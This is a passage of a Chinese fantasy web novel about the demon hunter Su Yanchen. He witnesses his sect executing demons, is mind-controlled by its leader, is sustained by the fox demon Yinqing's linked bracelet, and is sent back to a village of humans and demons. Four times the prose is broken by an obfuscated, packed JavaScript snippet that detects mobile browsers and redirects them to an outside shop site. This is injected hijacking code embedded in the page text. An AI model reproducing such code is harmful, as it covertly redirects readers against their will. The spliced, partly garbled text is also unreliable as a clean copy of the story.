“这样就不算我玩忽职守了吧。” 见苏言辰在看自己，申元玥忽然站定凑近，想要仔细观察苏言辰的神情。 “许久没见，苏师兄你似乎有些不对劲？” 申元玥还想细看，人群中却传来一声呼喊，听那清朗活泼的音色似是一位少年。 “阿玥！你要走了吗？” 听到这个声音，申元玥瞬间睁大眼睛，脸上闪过一丝羞赧与慌乱，但她很快意识到眼前的人是苏言辰，神情很快就镇定下来。 “对，下次我还会来找你的。” 小师妹往后面挥挥手，转身推着苏言辰的肩膀，快速往城外走去。 “记住，你什么都没看到。”申元玥低声警告苏言辰：“否则我就让我爹关你禁闭。” 照着记忆中自己的沉默寡言的做派，苏言辰微微点头，怀里抱着的东西跟着晃动了一下。 自上次被雷击中后，他脑子里的记忆每每回忆总觉得像隔层东西似的，如今同记忆中的人实际接触后，他才清晰感觉到这与宗门中人相处时的怪异之处。 小师妹说的什么控制，什么玩忽职守……莫非，先前自己在玄天宗之所以和小师妹相处最久是因为自己受其看管？ 还有她嘴上的警告，与其说是警告不如算是一种习惯性威胁。苏言辰注视着前面边走边哼着歌的申元玥，对方似乎并不担心自己会做出不利于她的事情。 这也是因为她口中说的控制吗？ 苏言辰内心困惑翻涌着，最终又被他按在心底。这些都需要从长计议。 从月华村附近的城镇到玄天宗的山脚下花了六天五夜的时间，原本有更快的办法到达目的地，但申元玥似乎并不想很快回到宗门，一路上遇到城镇还会进去溜达一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281224|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 好在鉴于申元玥宗主幼女的身份，他们的行车工具算得上平缓舒适，若是寻常马车，苏言辰不知道自己要吐上几次。 “原来我还会晕车？”苏言辰捂住胸口试图压下胃里翻涌的恶心感，他将车上的帘子掀开一条小缝透透气。也可能是先前从未出过远门，这种体质没体现出来。 也不知道昨夜小师妹做什么去了，如今已经到达宗门境内，她却倚着车上的靠枕睡得正香。 “吁——”外面凭借灵气驾驶的驾车傀儡发出到达目的地的提示声，苏言辰从小窗看到一阵白色烟雾像是从前面车头弥散到车身，随后整辆车便稳稳地停在了原地。 “这不是小师妹的车驾吗？怎么停在这里？” 窗外蓦然传来人说话的声音，随后车门便被试探性地拉了拉。 车门是锁着的，因为来人的动作门锁发出一阵咔哒咔哒的清脆声响。 车外玄天宗的弟子在拉门的同时还和旁边的同伴说着话。 “王师弟，你听说了吗？前天宗主带人捣毁了一个妖族老巢，今天要在审判台处决他们呢？” “哼，妖就是妖，还要审判做什么？张师兄，要我说直接当场杀掉也好过脏了咱们的地界。” “欸，此言差矣。我们除妖师又岂是那等野蛮之辈，总要说清他们的罪证再进行处置。” 王师弟像是低声说了什么，外面突然没了声音。 苏言辰正欲查看之时，突然感受到一股带有恶意的视线，车窗上的帘子突然被猛地拉开。外面的阳光顷刻间照了进来。 “这不是我们的苏师兄吗？怎么坐在小师妹的车里，莫不是在偷听我们兄弟俩的谈话？” 身着霁青色弟子服的张姓师兄从窗口盯着苏言辰，阴阳怪气道，眼中透着不怀好意的神色。 “……” 苏言辰闷不吭声看着窗外面的两人，碍于目前不明的情况，他并不想暴露自己与之前的不同之处。所以只能安静坐在车内当木头人。 “找死啊！”被车内照进来的阳光惊醒，申元玥刷的睁开眼睛，看见窗边站着的两个陌生弟子好似在挑衅，随手拿起手边的水杯砸了过去。 “你，你们两个是哪个长老手下的弟子？”车门被小师妹暴力打开，她转身示意苏言辰拿上车内的东西，随后气势汹汹地站到两个玄天宗弟子面前。 “谁给你们的胆子敢欺负苏师兄。知不知道他是谁的人？” “打狗还要看主人呢？你们是想打谁的脸？！” “……”苏言辰心中刚冒出的一丝感动顿时收了回去。 原先还嚣张的两个弟子瞬间唯唯诺诺起来。 “小师妹，别这样小师妹。是我们不对，我们马上就走，马上就走！” “慢着！” 申元玥叫住两个想跑的玄天宗弟子，朝苏言辰那边努努嘴。 “帮我把东西送到住处。再给苏师兄道个歉，这事儿就算完了。” “诶好。” 苏言辰看着两个弟子将自己抱着的属于小师妹的物品殷勤接过去，霎时间怀中空无一物。他微不可查地摇摇头，内心一阵好笑，跟在三人身后向平时的住处走去。 走至半路，路过审判台，一行人突然听到一阵严厉的责骂声。 5. 第 5 章 “啪！” 行刑台前的一个圆脸弟子被教习师傅一个戒尺抽了过去。 “你刚刚为什么不动手？！” 教习师傅严词厉色向手下弟子训话。 “弟子，弟子下不去手。”圆脸的小弟子脸上稚气未消，手上拿着的长剑干干净净。他捂着被打出红痕的脸，眼眶微微发红。 “宁师傅，这么小的妖也有罪孽吗？” 教习师傅冷哼一声，用戒尺挑起面前行刑台上被血浸透的襁褓，露出其有异于人族的妖族真身——是一只死去的橘色猫族幼崽。 “看看！对这些妖族还怀有怜悯之心真是可笑。妖生来便是罪恶。更何况非我族类，其心必诛。若哪天你放过的小妖长成大妖，杀了他血亲同族的你，又怎能逃脱得了妖的报复？” “等到那时，你后悔也晚了。” 教习师傅劈头盖脸狠拍在圆脸弟子身上，像是要打醒对方，随后喝道：“念你是初犯，这次就罚你一日禁闭，长长记性。” 圆脸弟子似乎还说了什么，但旁观的苏言辰的注意力已经不在他那边。 偌大的审判台上弥漫着一股极其浓重的血腥气。大大小小的妖族死后化作原形，横尸遍地，流下的赤色血水填满台上雕刻的花纹间隙，有些甚至溢了出来，场面极其凄惨。 这哪像是惩恶扬善，分明就是排除异己。苏言辰悄悄握紧袖中的手，站在驻足观望的申元玥身后。 原先听那个师兄说的话他还以为宗门真的是在审判，没想到只是流于表面。 宗门之前从未有过处决大量妖族的场面。如今真正来到现场，苏言辰才意识到，玄天宗根本目的是要将妖族赶尽杀绝。 还好望月山与玄天宗相隔较远，又有大妖银青的庇护，想来应该不会遭此祸事。 这样想着苏言辰心中的弦却依旧紧绷。鼻间那股血腥气愈发浓郁起来，他胸口骤然泛起恶心，酸水不住往上翻涌。 怎么回事，他的晕车症状到现在还没好吗？还是因为这次审判妖族的场面太过血腥？ “走了。” 苏言辰心中正犯着嘀咕，忽见申元玥一挥手，快步朝住处走去。他顺势跟上，悄悄抚了抚胸口，想压下那股挥之不散的恶心感。 谁料步伐加快，身体晃动反而叫这种感觉愈发强烈起来。 走到临近住处的地方，苏言辰脚步顿住，脸色猛地一变，随后再也克制不住翻滚的恶心，扶着路边小树吐了出来。 “呕——” “怎么了这是？”前头走着的申元玥听到动静，转头望去，眉头顿时皱了起来，“吃坏肚子了？” 她将洁白的手帕伸到苏言辰面前，还未等对方拿起便飞快按在他嘴上，用力擦了擦。 “算了，还是我来吧。毕竟是由我来保管的……”小师妹的声音逐渐变低，后面那几个字苏言辰并未听清。 好在吐过一场后，苏言辰感觉胸口那种滞闷感很快便消散了。 等到将东西搬到申元玥的房间，时间已经来到下午，后面跟着的两个弟子早已不知所踪。苏言辰顺着记忆中的小路回到自己的住处。 午后的阳光斜照进屋子里，原本孤寂的房间似乎多了几分暖意。 苏言辰伸手解开包裹，里面放着的碎银一下子滚了出来散在桌面，并一路咕噜直到撞击到那赤绳缠绕的剑柄上，发出沉闷的声响。 “……” 年轻的除妖师坐在桌前，盯着这几枚碎银看了许久，忽而将其连同搜妖的罗盘一齐收回包裹。他摩挲着那赤色的剑柄绳，眼前似乎又出现了审判台上那惨烈的画面。 某一瞬间，审判台上那些妖族的身影仿佛在变幻扭曲，成了一只只……雪白毛发的狐狸。 剑乃君子之器。持剑是为正义，是为除恶，也是为了守护世间仁善。 可如今的玄天宗的所作所为又如何称得上真正的正义？这样的宗门他又有什么理由待下去？ 可惜他还未搞清楚自己身上到底有什么异常。苏言辰伸手触碰了下自己许久不再疼痛的额头，心中思索着离开玄天宗的计划。 至于向教习师傅汇报任务，他躲避还来不及呢，怎么可能自投罗网，被那戒尺狠抽。 就在苏言辰收拾着包裹的时候，门外忽然响起一阵脚步声。听那声音，来者并不止一个人。 吱呀——房门被打开了。 “苏师兄，宗主有请。” “？” 来人未等苏言辰做出反应，伸手便将他强硬地架出门外。苏言辰只来得及将赤绳长剑拿起，整个人便被一行人裹挟着走向未知的地方。 “宗主喊我过去是要做什么？” 路上苏言辰试图和旁边紧紧扣着自己肩膀的同门搭话，却并未得到确切回答。 “等到了，你自然会知晓。”他们只这样敷衍回复着。 一行人停在了一处偏僻的大殿，领头之人忽然转头对苏言辰露出幸灾乐祸的笑容，随后上前一步敲了敲紧闭的殿门。 苏言辰不禁皱眉，不知为何，这个人还有之前那个张师兄对自己的恶意似乎都很大。 几人沉默的时候，大殿的门突然打开，教习师傅走了出来，他环视一周，门外的弟子纷纷低下头不敢直视对方。 “你，苏言辰，快点进来！”教习师傅神情严肃，态度冷硬地喝令催促着苏言辰。 待苏言辰进去，大门砰的一声再次被关上。 走进大殿内，眼前忽然从明亮转为昏暗，整个空间只有靠门的地方摆着一盏烛火。 高台之上传来宗主对幼女的训话声。似是发现苏言辰的到来，高台上的声音很快消失。大殿内陡然安静下来，昏暗中充斥着一股压抑的沉默。 苏言辰侧过脸看了眼旁边如铁塔站立的教习师傅，心中逐渐感到不安。 宗主喊他来究竟是要做什么？ 哒——哒—— 轻微的脚步声响起，声音由远及近。很快，宗主的声音出现在苏言辰的左侧。 “这小子的体内的摄魂印果然消失了。” 伴随着一束暗淡的烛火，宗主申常德那张须发皆白的苍老面孔陡然出现在苏言辰面前。 “身上连一点妖族怨念也没有。宁长老亲自下发给你的任务，你身为玄天宗弟子怎能违背师令？”申常德幽幽说道，那双黑沉的瞳孔在某一瞬间似是化作黄绿的竖瞳紧紧盯着面前的青年。 见苏言辰沉默，他停顿片刻忽然发出叹息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281225|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，拍了拍苏言辰的肩膀，像是在称赞。 “不愧是人王的子嗣，居然连摄魂印都能挣脱。这般天赋，实在叫人惊叹。” “可惜，老夫实在有不可不为之事，只能委屈你了。”申常德语气和缓，手上抓取青年头颅的动作却毫不留情。 苏言辰只觉头皮瞬间收紧，脑内出现嗡的一声异响，整个人顿时失去了对身体的支配权。 【你是玄天宗的弟子，一生都将奉给玄天宗……下达的命令你都誓死听从，不可违逆。】 一道诡异的声音似梦似幻响彻在苏言辰混沌的大脑之中，他张开嘴，干涩的喉咙发出只言片语。 “我是……玄天宗的弟子，一生……奉与……誓死听从，不可……违逆。” 苏言辰清醒地听着自己口中说着违背本心的话，四肢、躯体连同身上一切部位对于大脑发出的真实指令毫无反应，只保留最基本的生理活动。 这分明是在给自己洗脑加控制，或者更可以说是在制造傀儡，制造一个体内关有灵魂的活傀儡。 不，不可以！不可以被他们控制。 苏言辰眼前忽然闪过白日里审判台，那遍地横陈的妖族尸体，那个……染血的襁褓。 若自己真的成了宗主的傀儡，那未来的自己不仅失去自我，剑下也将会出现无数妖族冤魂，就像那些滥杀无辜的除妖师一样。到那时即使自己最终解开控制，背负那样的罪孽，他真的能活下去吗？ 心绪极度波动之时，苏言辰忽然感觉周身爆发出强烈的痛楚，后脑支撑身体的手掌倏忽间撤了回去，他整个人顿时委顿在地。 “哈哈，今日劳烦宁长老加固摄魂印了。” 申常德心满意足地捋着胡须，忽然想起什么，扭头朝身后高台上的幼女说道：“阿玥，这次你可得好好盯紧了，一有异常就来告知我。” “为父不希望你再犯失察之错。如有下次，你也别想看管苏言辰了，直接换你的大哥来。” 瞧见申元玥不服气的表情，申常德呵呵一笑，将她招到身边抚了抚脑袋，叮嘱道：“傀儡就先留在大殿，等明天一早你再叫人将其搬回住处。” 话毕，三人一同往殿门外走去。 大殿重新恢复了寂静，与此同时门口最后一盏烛火也燃烧至尽，殿内陷入深沉的夜色之中。 苏言辰躺在冰冷的地面上，睁着眼睛盯着虚无的黑暗。原本因摄魂印而昏沉的大脑被手上骤然产生的刺痛刺激得清醒片刻。 “是……什么？”他尝试着开口，竟可以吐出简短的代表自己想法的话语。 苏言辰再次竭力感知着手指，忽然意识到那刺痛的源头是他从小到大未曾离身的玉扳指。 大脑中的昏沉之感与手指上的刺痛相互抵消让他有了短暂的梳理思绪的时间。 难怪之前他的记忆出现了残缺的情况，怕也是被这摄魂印所封。可惜先前虽然松动了摄魂印，他却不知道实际松动的缘由。 莫不是因为那道雷击？ 苏言辰胡乱想着。要真是这样，这被天雷劈中反倒是件好事。 大难不死，必有后福。被雷击中何尝不是一种难？但不求后福，苏言辰只希望如今他能渡过这一劫，不再失去自我。 6. 第 6 章 入夜，殿内温度骤然降低，黑暗中传来窸窸窣窣的声音。 听着这般奇诡的声音，苏言辰的心脏一点点收紧，他眼含警惕地望着周围。 “啊——呃！” 如同冰铸的锁链像是长了眼睛，飞快识别出青年的双臂随后牢牢将其捆住，拉起。方才那种仿佛深至神魂的躯体剧痛再次卷土重来。 难怪那个老家伙还要将自己放在这个大殿，原来是还有后招。苏言辰试图挣脱手臂，反而被锁链缚得更紧。 也是这个时候，苏言辰才发现，这个摄魂印正如它的名称，是针对人的神魂的邪术。想要对抗只能凭借自身意志进行对抗。 而想要在这种神魂痛苦中维持清醒，只能靠他躯体中修炼所得的微薄灵力护住最核心的神志也就是头脑。 但，维持足够的清醒实在……太痛了。苏言辰心中苦笑。 或许正因如此，幼年被打下摄魂印的他才未曾熬过去，反而丢失了记忆。 他咬牙握紧拳头，坚硬的玉扳指被他攥在手心。由于锁链的束缚他只能跪伏在地上，被捆住的手腕也因挣扎的举动被摩擦出伤口。 嗒——有什么液体滴落到地上的声音。 苏言辰垂着头急促呼吸着，冷汗顺着脸颊淌下，躯体上不仅是手臂，甚至腰腹与跪着的膝盖也开始痛了起来。 “好冷……”他努力撑开眼睛，视线逐渐适应殿内的黑暗，也让他看到自己呼出的白色雾气。 不远处似乎有什么长条状的东西在他的附近，苏言辰睁大眼睛，使劲望了半天，突然意识到那是自己在离开住处时顺手带上的长剑。 “可惜……只是一把剑。”苏言辰动了动手指估摸着锁链的粗细，心中不由叹气。还是一把普通的除妖长剑，根本无法破开他身上的禁锢。 算了，就算真把锁链斩断，玄天宗的人也总有其他办法折磨自己。至于原因……或许和申常德口中的那个人王有关。 可为什么从小到大，他从未在各种传闻中听到有关人王的消息？ 身体的精疲力竭让苏言辰无法再进行过多思考，他凝望着那柄长剑，心绪不由又飘到赤绳上，或者说是系绳的人身上。 若是现在，银青能够在自己身边就好了。苏言辰默默想着，虽然因为身中寒毒，这只大狐狸的身上总是温温凉凉，但那九条毛绒的大尾巴却是货真价实的狐尾。 “况且……”银青他也并非一直都是温凉的状态，在某些时候也火热的很。 掌心的触感逐渐黏腻起来，手腕上伤口的痛感也变得麻木，苏言辰短暂的让自己放松心神，试图将注意从全身的疼痛上转移开。不想一松懈就再也没有力气爬起来。 神志模糊间，他恍然感觉有股柔和的力量从右手的手腕产生，并逐渐包裹住他整个人，伴随力量的流走，那浑身伤痛也被细致拂去。 那种感觉……就像想象中母亲的怀抱一样，温暖又安心。 …… 与此同时，望月山的妖族宫殿里。 银色长发的九尾狐妖端坐在寝殿的床榻上，神情严肃，周身的气息愈发冰冷摄人。 殿内凝聚的浓郁妖力随着银青手上掐诀的动作迅速转变成白色的灵力，随后被其手腕上的手环吸收。 时间缓缓流逝，那手环汲取灵气的速度非但没有变慢反而更加快速，直到在某个时刻，它终于停止了吸取的动作。 “呼——” 银青睁开眼睛，还未来得及说话，眉头便紧紧蹙起，捂着胸口咳嗽起来。 “兄长！” 屋外守着的银雪担忧地喊道，正想上前一步却被阻止。 “咳，别过来！” 银青将从心口冒出的寒气凝结而成的冰晶用力掷在地面，随后失力般躺倒在床榻上。 “等这寒气散去再靠近我。”他用手臂遮住自己的眼睛，低声说道：“身为望月山的医者，你应当知晓这寒毒的厉害。” “兄长……” 银青移开手臂，看着不远处愁眉苦脸的小狐妖，嘴角挑起一抹微笑：“你这个表情是做什么，我又不是要死了。” “呸呸呸，兄长休要胡说。”银雪跺了跺脚，在外面转起圈，心中思忖。 也不知道这除妖师在外面发生了什么事，竟需要兄长动用锁魂链传输灵力过去护体。 “现在不知道都这般尽心，若是知道……”银雪猛地闭上嘴，悄悄往屋内望了一眼，转而在心中嘀咕。 兄长若是知道苏言辰这个除妖师还怀有他的孩子，岂不是连心都要掏给对方？不行不行，如今除妖师的态度还未明确，也不曾想要留在望月山，这件事还得继续瞒着兄长。 银雪愤愤揪着尾巴上的毛，心中不由一阵气恼，抱怨的声音都大了几分。 “哼，之前在咱们这儿好吃好住都养胖了，如今却是一封信也不寄过来。” 房间里，银青听到这话，摩挲手环的动作顿时慢了下来。 “胖了？”他仔细回想苏言辰来望月山前的身形，似乎与离去时的模样并未有多大区别。不过……到底还是多长些肉好，这样起码代表对方生活的环境相对安定。 银青将手环伸到眼前，轻轻叹息，狭长的金眸里流露出担忧。 也不知道除妖师在宗门遭遇了什么，竟然触发了锁魂链的护魂功能。若非最后锁魂链传递过来对方神魂状况尚可的消息，他都不知道要如何是好。 除妖师所在的宗门——玄天宗，无妖不知无妖不晓，不过这等名气实属恶名。 相较于其他人族创立的除妖宗门，这玄天宗中出来的除妖师作风格外狠辣无情，向来对妖族秉持赶尽杀绝的态度。 银青固然想前去探知苏言辰的状况，但一来他寒毒未解，身上修为十不存一。若只身前往玄天宗，怕是自身都难保。二来他也不能只为私欲不做安排就撇下狐狸洞中的众多同族。 “如今之计，只有尽力拔除体内寒毒，恢复修为。”银青下定决心，伸手再次摘去心脏部位出现的冰晶，冰晶离开皮肤的同时带出一串血珠。伴随着金色的狐火猛然冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281226|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出，一只体型修长的巨大九尾白狐出现在宫殿的深处。 “小雪，我要闭关一段时间。族中之事就托付给你了。” “银雪定不负兄长所托！” …… 跪坐在地上，苏言辰感受着体内经脉中静静流淌的灵力，视线转向那左手手腕上的金属手环。 “这是……当初那个锁魂链。” 当时银青为了防止自己与外界联络，伤及狐族，便在自己手上套了一个手环，说是为了方便监视。如今看，事实似乎并非对方表面所说。 将灵气凝聚在双眼，手环上的锁链已然消失，但苏言辰依旧感觉虚空中有一种无形的东西将他与银青联系到了一起。 他闭起双眼，默默运起自身微薄的灵力，将其与锁魂链中获得的温和灵力汇集起来，在经脉中运转几周天。 摄魂印带来的痛感依旧存在，但已经变得可以接受，甚至这股灵力还在缓慢修复自己的伤痕。 “……” 银青啊银青…… 苏言辰在心中将大妖的名字念了又念，眼前似乎闪过对方那张妖异的面孔。 先前因为身中情毒，两人被迫在生疏的时候产生了过于亲密的接触。这也叫他们的关系带上了特殊的亲近感。 无论是在前世还是今生，苏言辰还从未有过与他人共度余生的念头，更未曾想过对方是男是女。而银青的出现太过突然、猝不及防，若只是一次接触也罢，他只会将其当做一场梦，忘了即可。可那两极果的解毒过程整整持续了一个月。 联想到解毒后期，小狐妖因担心给他俩炖汤里放的补肾佳品，苏言辰嘴角不禁勾起微妙的弧度。 他心中轻叹，才离开几日，他竟有些想念在望月山时的日子了。 随着时间的流逝，那股属于摄魂印的力量波动逐渐变弱直至完全潜伏下来。意识朦胧之时，苏言辰隐约听见了外面晨鸡报晓的鸣叫声。 漫长的一夜终于过去了。 房门被人阖上，苏言辰维持着脸上冷淡的表情躺在床上。 手腕处的伤口被人草草包扎好。想来对于申常德那个老家伙来说，自己这个人王之子虽还有用处，但也只需要维持活着的状态就行。 细想先前被人发现异常的原因，苏言辰心中反思，或许是因为他未能及时去教习师傅那边复命？还是因为路过审判台时自己那异于他人的反应？ 算了，以后还小心为上，他可不想再经历昨夜的那种痛苦。 苏言辰翻了个身，闭上眼睛，身体放松之余他的思维却还在不停转动。 想必在知情人眼中受了摄魂印的傀儡是很难有属于人的感情的，有的只有对宗门命令的服从，以及忠诚。这倒也解释了为何在前十几二十年经历里，他记忆中的师兄弟对他的态度都格外冷淡漠视。 虽然日常对话行动与常人无异，但一个看上去冷漠无情的无心之人又怎堪结交？ 也就是说，在未能解开摄魂印之前，他都需要扮作一个只会服从命令的无心傀儡…… 7. 第 7 章 “苏师弟，宗主有令。让你跟随我等一同前往月华村调查妖物行踪。” 手腕伤愈后的一天早晨，苏言辰正同往日一样帮申元玥挡去热情的追求者，忽听到人群外传来这样的声音。 月华村？！ 苏言辰心中一震，借着低头领命的动作掩去眼中的惊讶。 “大哥？”见着来人，申元玥脸上先是露出高兴的神色，等听清申元瑞的话脸色顿时难看起来。 “怎么回事？爹爹是不是不相信我，做任务居然还要带上你这家伙。”她揽过苏言辰的肩，抬头冲申元瑞喊道。 “还有你，杜旭！”小师妹将苏言辰往后推了推，站到他面前，扭头对躲在申元瑞身后的年轻人怒喝。 “上次是不是你向爹爹告的密？害我被训了一顿。实在可恶！” 闻言，苏言辰暗中打量着小师妹所说的两人。 申元瑞是宗主的长子，和申元玥是同胞兄妹，据说一直在外面做除妖任务，平日里很难在宗门内见到。至于另一个人…… 那是一张有些面熟的脸，苏言辰拢在袖中的手悄悄收紧。正是多日之前将自己带到大殿门外，朝自己散发恶意的青年。 不妙，实在不妙！ 宗门怎么突然之间就想调查月华村？这个村落距玄天宗并不算近，与外人的接触也极少，若非特意找寻，根本不会被人注意到。 苏言辰想到月华村里生活的妖族，不祥之感油然而生。 可惜一切缘由都只能等他到月华村时才能知道。现在，他应该想想办法如何提前通知月华村的人，顺便让银青他们知道这个消息。 回到住处收拾着包裹，苏言辰拿起除妖长剑的过程中，剑鞘意外和手上戴着的手环发生碰撞发出一声轻响。 电光火石间，苏言辰突然记起先前曾有灵力从手环中涌出。 灵力不会无缘无故产生，苏言辰眼前闪过银青向他展现的另一只手环的画面。 一个念头出现他的脑中。如果说……这对手环是相通的，他是不是可以往里面输入灵力来警示？ “……罢了。”苏言辰收回输送灵力的动作，心中嘲笑自己的异想天开。 这手环虽然互通，但却不能传输话语。那大狐狸与他相处时间并不长，又怎会知晓他的用意？ 还是另寻办法吧。苏言辰这样想着。 …… 与跟着小师妹回程时的悠闲不同，这一路他和申元瑞等人是乘坐一艘速度很快的舟形法器走水路，花了两天一夜的时间到达了望月山附近的小镇。 除了他们四人，其余跟随的玄天宗弟子就在附近小镇安顿下来，以防有意外情况。 从码头下船，苏言辰跟在申元玥身后悄悄呼了口气。这一路上，他被人盯得很紧，很少有单独行动的时刻，如今下了船，那两道宛若实质的目光总算消失了。 还好他有先见之明，在上船前便在袖里藏了酸梅果脯，才没再犯晕车的症状。 傀儡就不会晕车就不会吐吗？苏言辰心中腹诽，面上却保持着冷漠的表情。 无法，他根本不敢赌。若他出现异状引起他们的注意，这个三个人中尤其是申元瑞会不会将此事告诉宗主那个老家伙。就像最近一次一样。 做恶事的人心总是多疑的，难保他们为了确定摄魂印的效果对自己再次出手。 到达月华村时已经时近傍晚，家家户户屋上冒着袅袅炊烟。空气中弥漫着饭菜的香气。 “大师兄，天色已晚，不如我们先在村子里找户人家借住一晚，明日白天再行调查之事？” 听见杜旭的问话，申元瑞却没做反应，目光直直盯向不远处的一处人家。 植有桂树的小院子里，皮肤雪白的妇人正在招呼在院内玩耍的小孩回屋吃饭，那头上生有的兔耳明晃晃昭示着这名妇人妖族的身份。 “那是……兔妖？”杜旭顺着申元瑞的视线看过去，语气十分震惊：“妖怎么会和人生活在一起？” “这群人是不怕死吗？” 他迈步上前，想要杀了那只兔妖却被申元瑞拉住。 “你太冲动了，杜师弟。”他脸上骤然露出温和的笑容，将杜旭手上拔出的一小截剑身缓慢按回剑鞘，转而招呼身后沉默的两人。 “饿了吧，妹妹？”见申元玥点头，他拍拍杜旭的肩膀，挑了个方向领着一行人去村头的某户人家借宿。 “诶哟，都是俊俏的小家伙啊。来大娘家，大娘给你们做好吃的。” 听到熟悉的热心话语，苏言辰不由抬起头，目光恰巧和燕大娘的眼睛对上。 苏言辰心中一慌，却见燕大娘像看陌生人一样扫过他的脸，随后继续招呼他们。 可能是大娘记性不好，忘了他的长相。苏言辰心中有些失落但更多的是庆幸，无论怎样，只要大娘不暴露望月山上狐狸洞的事情，即使忘了他也无所谓。 “那就叨扰大娘了。”申元瑞脸上挂着笑，一行人朝燕大娘拱手道谢。 这顿饭吃得叫苏言辰有些食不下咽，他坐在饭桌上听申元瑞明里暗里套着燕大娘的话，询问月华村的人家情况。虽不知申元瑞问这些的原因，但苏言辰直觉这家伙没想好事。 燕大娘家只有大娘一个人，原本还一个小孙子，但据大娘说，这孩子随他爷出远门了。 “我家那老头子以前还是个除妖师哩。”大娘神秘兮兮地低声朝桌上的一行人说着：“后来老了做不动了，就退下来喽。” 闻言，原本听到爷孙俩出远门而皱眉的申元瑞眉头慢慢展开，脸上又重新挂上了笑。 就在大娘收拾碗筷时，旁边安静坐着的杜旭忽然冷不丁开口：“大娘，方才我瞧见城南那边一户人家院子里有个长兔耳朵的妇人，那人你可认得？” 大娘一愣，扫了眼围着桌坐着的四人，随即笑着开口：“她呀，是张木匠家的媳妇儿，最喜欢捣鼓这些新鲜玩意儿，那长耳朵不是真耳朵，是木雕的首饰。你们若是想要，明日我去替你们问问。” “那是木雕的？”杜旭满脸怀疑，刚想反驳却瞧见大师兄的眼神，只得把话吞回肚子里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281227|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那就麻烦大娘了。我们正巧对那首饰感兴趣呢。”申元瑞将整块银锭轻轻搁在桌上，朝燕大娘点点头。随后一行人跟着他进了今夜住宿的房间。 “嗨呀，给什么银子啊。”大娘嘴上这么说着，伸手的动作却是不慢。 苏言辰走在最后，眼神古怪地望了眼大娘的身影，最后默默进了里屋。 没想到大娘是这样的大娘。 腾给一行人住的屋子不大，一进门苏言辰便瞧见杜旭在和申元瑞低声说着话。 见状，小师妹拉着苏言辰坐在那两人旁边，小声询问：“哥，你俩在聊什么呢？” “说什么？当然是说这月华村的怪异之处。”杜旭语气愤愤：“居然说那兔妖的耳朵是木雕的？忽悠谁呢？” “这大娘也不是什么好人，大师兄给她那么大个银锭，她也不知道送个洗澡水过来，我们这一路过来风尘扑扑都没处打理。” “大娘就一个人，还是个弱女子，怎么给你搬洗澡水？”小师妹白了他一眼，出言反击：“再说我们来这边是为了做任务又不是享福的，我哥都没说什么呢。” “好了，别说了。”见两人就要吵起来，申元瑞出声阻止。 “这月华村的情况我已联系告知了玄天宗弟子。如今我等暂且休息，养足精神。明日再做打算。” “是，大师兄！” 见状，申元玥撇撇嘴，骂了句马屁精，领着苏言辰将他安置在另外的住宿房间。 “今夜，你乖乖的，不要乱跑。”关门前，申元玥忽折身返回拍了拍苏言辰的肩膀，像是在叮嘱，眼神似乎带上些许深意。 咔哒——门关上了。 小师妹这是什么意思？莫非她看出来什么了？ 左思右想到最后苏言辰反而愈发感觉困倦，窗外夜色逐渐深沉，他慢慢闭上眼睛。 他梦见了月华村，不是他印象中炊烟袅袅，安详宁静的村落，而是四处燃着火焰的月华村。 每家每户院落中的桂树都被火点燃，哭声喊声，男女老少呼救的声音，吵吵嚷嚷乱作一团，苏言辰看到一群身着玄天宗弟子服饰的人拿起除妖的长剑朝向奔逃的妖族挥去。 即使有人族扑在妖的身上，他们依旧照杀不误。到最后，即使是人族，他们也毫不留情出手斩杀。 “疯了……都疯了吗？”苏言辰喃喃自语，玄天宗一向以除妖为己任，可从未传出杀人的说法。 这是一场噩梦。 他这样想着，手却不由自主举起长剑对准角落里满脸泪痕的男孩。 不，不可以，即使是梦我也绝不这么做。苏言辰脖子上的青筋暴起，他咬牙与控制自己身躯的力量对抗着。手上的玉扳指在某一时刻狠狠刺激着苏言辰的手指，他因受摄魂印影响而昏沉的神志顿时清醒过来。 “不，这根本……不是梦……” 